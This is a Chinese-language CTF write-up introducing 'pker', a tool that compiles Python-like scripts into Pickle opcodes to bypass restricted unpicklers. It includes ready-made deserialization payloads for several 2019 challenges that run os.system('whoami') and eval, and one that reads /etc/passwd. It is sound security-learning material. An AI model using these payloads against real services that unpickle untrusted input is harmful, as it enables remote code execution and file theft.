0x00 TL; DR

本文将通过分析今年几道通过手写Pickle opcode实现bypass的题目总结手撕Pickle的一些tips

以及通过遍历Python AST自动化生成Pickle opcode

repo地址https://github.com/eddieivan01/pker

0x01 Pickle简述

网上资料已经很多了，我就不再向互联网填充冗余信息了（可学习文末链接）

只总结Pickle的几个特点：

• 非图灵完备的栈语言，没有运算、循环、条件分支等结构
• 可以实现的操作
  • 构造Python内置基础类型（str, int, float, list, tuple, dict）
  • dict和list成员的赋值（无法直接取值）
  • 对象成员的赋值（无法直接取值）
  • callable对象的调用
  • 通过_Pickler.find_class导入模块中的某对象，find_class的第一个参数可以是模块或包，本质是getattr(__import__(module), name)
  • 版本保持向下兼容，通过opcode头解析版本
  • 0号protocol使用\n作操作数的分割

0x02 Opcode简述

Pickle常见opcode，完整的可在$PYTHON/Lib/pickle.py查看

对应的实现都可以在pickle._Unpickler的load_*成员函数中查看，选取两个常见的：

pop_mark为将MARK(上的所有元素弹出为一个list，然后push回栈。所以需要这样构造(I0\nI1\nl

读取到INST指令后，往后读两个操作数，调用find_class，然后弹出栈上MARK以上的参数，调用callable对象实例化，所以这样构造(S'ls'\nios\nsystem\n.

0x03 官方的Demo限制了什么

官方给出的安全反序列化是继承了pickle.Pickler类，并重载了find_class方法

父类原本的操作是把module导入sys.module缓存中（并未导入全局或局部作用域），然后getattr取值，所以重载该方法后即可对module和name进行限制

哪些操作符会调用find_class？

GLOBAL:c
INST  :i

还有protocol4的STACK_GLOBAL:\x93  # same as GLOBAL but using names on the stacks

但find_class的限制仅仅是对该函数参数过滤，并没有hook __import__等函数，所以通过eval('__import__(\'xx\')')等即可绕过

0x04 Bypass方法简述

拿code breaking的举例，bypass的操作是：

getattr = __import__('builtins').getattr
eval = getattr(globals()['__builtins__'], 'eval')
eval('__import__("os").system("id")')

||||||
vvvvvv

getattr = __import__('builtins').getattr
dict = __import__('builtins', 'dict')
__builtins__ = getattr(dict, 'get')(__import__('builtins').globals(), '__builtins__')
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("id")')

这里有几个点：

• 只可通过__import__来导入对象，所以获取__builtins__中的对象需要__import__('builtins').xx（Python2中是__builtin__）
• 由上一条，虽然__import__转手了__builtins__，但无法获取，还是得通过globals()['__builtins__']获取
• 字典无法直接取值，需获取到dict的类方法get，传dict实例和key进去

0x05 自动化构造

构造起来很简单，但写着汇编操作符终究比较麻烦，我们可以想办法实现自动化的Python source code => Pickle opcode

我们可以做到什么：

• 变量赋值：存到memo中，保存memo下标和变量名即可
• 函数调用
• 类型字面量构造
• list和dict成员修改
• 对象成员变量修改

感觉差不多足够应付常见构造，概括一下，我们支持这样的三种单行表达式：

• 变量赋值：
  • 左值可以是变量名，dict或list的item，对象成员
  • 右值可以是基础类型字面量，函数调用
• 函数调用
• return：可返回0~1个参数

0x06 遍历AST节点

Python的ast.NodeVisitor实现了metaclass一样的动态解析类方法的功能，我们遍历这样三种语句

Pickler的__setitem__实现了主要解析逻辑：

对应了上文中赋值语句左值和右值的几种情况

0x07 TESTING

测试今年的几道题目

Code_breaking

$ cat test/code_breaking
getattr = GLOBAL('builtins', 'getattr')
dict = GLOBAL('builtins', 'dict')
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()
__builtins__ = dict_get(builtins, '__builtins__')
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("whoami")')
return

$ python3 pker.py < test/code_breaking
b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("whoami")\'\ntR.'

Guess_game

guess_game的两种方法，每一轮修改game对象的curr_ticket或修改game的round

提一嘴，这道题之所以能修改是因为每一轮导入的game是已实例化的对象，build操作直接update了实例属性

方法一：

$ cat test/SUCTF2019_guess_game_1
Game = GLOBAL('guess_game.Game', 'Game')
game = GLOBAL('guess_game', 'game')
game.round_count = 10
game.win_count = 10
ticket = INST('guess_game.Ticket', 'Ticket', 6)
return ticket

$ python3 pker.py < test/SUCTF2019_guess_game_1
b"cguess_game.Game\nGame\np0\n0cguess_game\ngame\np1\n0g1\n(N(S'round_count'\nI10\ndtbg1\n(N(S'win_count'\nI10\ndtb(I6\niguess_game.Ticket\nTicket\np4\n0g4\n."

方法二：

$ cat test/SUCTF2019_guess_game_2
ticket = INST('guess_game.Ticket', 'Ticket', 0)
game = GLOBAL('guess_game', 'game')
game.curr_ticket = ticket
return ticket

$ python3 pker.py < test/SUCTF2019_guess_game_2
b"(I0\niguess_game.Ticket\nTicket\np0\n0cguess_game\ngame\np1\n0g1\n(N(S'curr_ticket'\ng0\ndtbg0\n."

BalsnCTF2019_Pyshv1-3

https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc/pyshv1

https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc/pyshv2

https://github.com/sasdf/ctf/tree/master/tasks/2019/BalsnCTF/misc/pyshv3

这三道题其实考察了不止Pickle opcode，包含一些Python特性的考察，重点还是放在Pickle payload的生成上吧

Pyshv1

$ cat test/BalsnCTF2019_Pyshv1
modules = GLOBAL('sys', 'modules')
modules['sys'] = modules
module_get = GLOBAL('sys', 'get')
os = module_get('os')
modules['sys'] = os
system = GLOBAL('sys', 'system')
system('whoami')
return

$ python3 pker.py < test/BalsnCTF2019_Pyshv1
b"csys\nmodules\np0\n0g0\nS'sys'\ng0\nscsys\nget\np2\n0g2\n(S'os'\ntRp3\n0g0\nS'sys'\ng3\nscsys\nsystem\np5\n0g5\n(S'whoami'\ntR."



$ cat test/BalsnCTF2019_Pyshv2
__dict__ = GLOBAL('structs', '__dict__')
builtins = GLOBAL('structs', '__builtins__')
gtat = GLOBAL('structs', '__getattribute__')
builtins['__import__'] = gtat
__dict__['structs'] = builtins
builtin_get = GLOBAL('structs', 'get')
eval = builtin_get('eval')
eval('open("/etc/passwd").read()')
return

$ python3 pker.py < test/BalsnCTF2019_Pyshv2
b'cstructs\n__dict__\np0\n0cstructs\n__builtins__\np1\n0cstructs\n__getattribute__\np2\n0g1\nS\'__import__\'\ng2\nsg0\nS\'structs\'\ng1\nscstructs\nget\np5\n0g5\n(S\'eval\'\ntRp6\n0g6\n(S\'open("/etc/passwd").read()\'\ntR.'




$ cat test/BalsnCTF2019_Pyshv3
User = GLOBAL('structs', 'User')
User.__set__ = User
user = User(0, 0)
User.privileged = user
return user

$ python3 pker.py < test/BalsnCTF2019_Pyshv3
b"cstructs\nUser\np0\n0g0\n(N(S'__set__'\ng0\ndtbg0\n(I0\nI0\ntRp2\n0g0\n(N(S'privileged'\ng2\ndtbg2\n."

这里再提一嘴：

• 实例方法是自动绑定了实例本身的类方法，和函数签名是完全吻合的。直接获取实例的方法已经绑定了第一个参数，可以看作是函数的柯里化

• 类的__set__方法需在类定义时定义，同样设置setter也需对类成员设置（类成员是类对象的成员，实例成员为各实例私有（今天还看见先知群师傅在问））

• Python3中的类属性cls.__dict__是mappingproxy代理对象，不支持直接的cls.__dict__['x'] = 0的修改，所以在生成Pickle opcode中我统一使用了(}(I0\nI1\ndtb的方法，原因在Pickle源码中的load_build方法：

  • 

    其实按逻辑来说只要tuple的第一个值为空值即可，但模块实际导入了_pickle模块，和这里列出的函数实现不同，它要求第一个值必须是dict（也可以是None）

0x08 参考文章

• https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html
• https://www.anquanke.com/post/id/188981
• https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf